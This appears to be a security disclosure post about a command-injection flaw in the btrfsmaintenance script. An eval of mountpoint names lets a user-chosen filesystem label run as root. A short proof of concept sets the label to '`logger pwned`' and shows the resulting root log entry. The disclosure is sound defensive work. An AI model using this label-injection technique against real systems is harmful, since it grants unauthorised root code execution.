Hi,

I just stumbled across the evaluate_auto_mountpoint function in
/usr/share/btrfsmaintenance/btrfsmaintenance-functions.

# function: evaluate_auto_mountpoint
# parameter: A variable name
#
# this function checks whether the variable contains the special keyword "auto"
# if yes, all currently mounted btrfs filesystems are evaluated and their mountpoints
# are put into the parameter variable
evaluate_auto_mountpoint() {
        MOUNTPOINTSVAR=\$"$1"
        if [ "$(eval expr \"$MOUNTPOINTSVAR\")" = "auto" ]; then
                ...
                # find one (and only one) corresponding mountpoint for each btrfs device node
                for DEVICE in $BTRFS_DEVICES; do
                        MNT=$(findmnt --types btrfs --first-only --noheadings --output "TARGET" --source "$DEVICE")
                        if [ -n "$MNTLIST" ]; then
                                MNTLIST="$MNTLIST:$MNT"
                        else
                                MNTLIST="$MNT"
                        fi
                done
                echo "evaluate mounted filesystems: $MNTLIST"
                eval "$1=$MNTLIST"
        fi
}

The 'eval "$1=$MNTLIST"' allows bash command evaluation.
This is triggered by btrfs-{scrub,balance,trim}.timer units if the respective
option in /etc/sysconfig/btrfsmaintenance is set to "auto". Fortunately that is
not the default.

PoC:

> mkfs.btrfs -fL '`logger pwned`' /dev/sdc2
(mount as user using your favorite tool)
> (as root, to accelerate) systemctl start btrfs-trim
> journalctl
...
Jul 26 10:55:57 linux-e202.suse.de btrfs-trim.sh[23928]: evaluate mounted filesystems: /run/media/fvogt/`logger pwned`
Jul 26 10:55:57 linux-e202.suse.de root[23943]: pwned
...

Cheers,
Fabian